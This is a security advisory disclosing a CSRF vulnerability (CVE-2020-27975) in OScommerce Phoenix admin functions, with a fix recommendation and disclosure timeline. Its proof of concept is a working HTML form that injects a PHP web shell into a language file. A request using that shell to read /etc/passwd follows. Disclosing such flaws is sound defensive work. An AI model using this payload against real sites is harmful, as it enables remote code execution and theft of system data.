usd-2020-0027

Advisory ID: usd-2020-0027
CVE Number: CVE-2020-27975
Affected Product: OScommerce Phoe
Affected Version: < 1.0.5.4
Vulnerability Type: Cross Site Request
Security Risk: High
Vendor URL: https://www.oscommerce.com/
Vendor Status: Not fixed

Description

The open source application is vulnerable to a number of Cross-Site Request Forgery (CSRF) attacks. CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. A lot of critical functions are executed from the shop backend that are not secured against CSRF attacks. In the worst case CSRF may lead to code execution.

Proof of Concept (PoC)

An attacker could create an HTML page with the following content:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/phoenix/admin/define_language.php?lngdir=english&filename=english/login.php&action=save" method="POST">
      <input type="hidden" name="file&#95;contents" value="&lt;&#63;php&#13;&#10;define&#40;&apos;NAVBAR&#95;TITLE&apos;&#44;&#32;&apos;
        Login&apos;&#41;&#59;&#13;&#10;system&#40;&#36;&#95;GET&#91;&apos;cmd&apos;&#93;&#41;&#59;&#13;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

An already authenticated backend user who visits the attacker's site and presses the „Submit request" button would, unknowingly, modify parts of his PHP code in the `/includes/languages/english/login.php` and allow code execution for the attacker.

The following request allows an attacker to view the `/etc/passwd` file.

```
GET /phoenix/includes/languages/english/login.php?cmd=cat%20/etc/passwd HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ceid=vor0l2aqt2gga9lal8t060qnr1
Upgrade-Insecure-Requests: 1
```

Fix

Use token-based Anti CSRF mechanisms. It can be achieved either with state (synchronizer token pattern) or stateless (encrypted or hashed based token pattern). CSRF tokens should be generated on the server-side. They can be generated once per user session or for each request. An attacker would therefore have to guess or know the randomly generated token for a successful attack.

Timeline

- 2020-03-18 Vulnerability discovered
- 2020-03-20 First contact attempt
- 2020-03-27 Advisory send to vendor
- 2020-06-04 Request for update from vendor – no response
- 2020-06-25 Request for update from vendor – no response
- 2020-07-30 Request for update from vendor – no response
- 2020-10-20 Request for update from vendor – no response
- 2020-10-27 Security advisory released

Credits

This security vulnerabilities were found

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.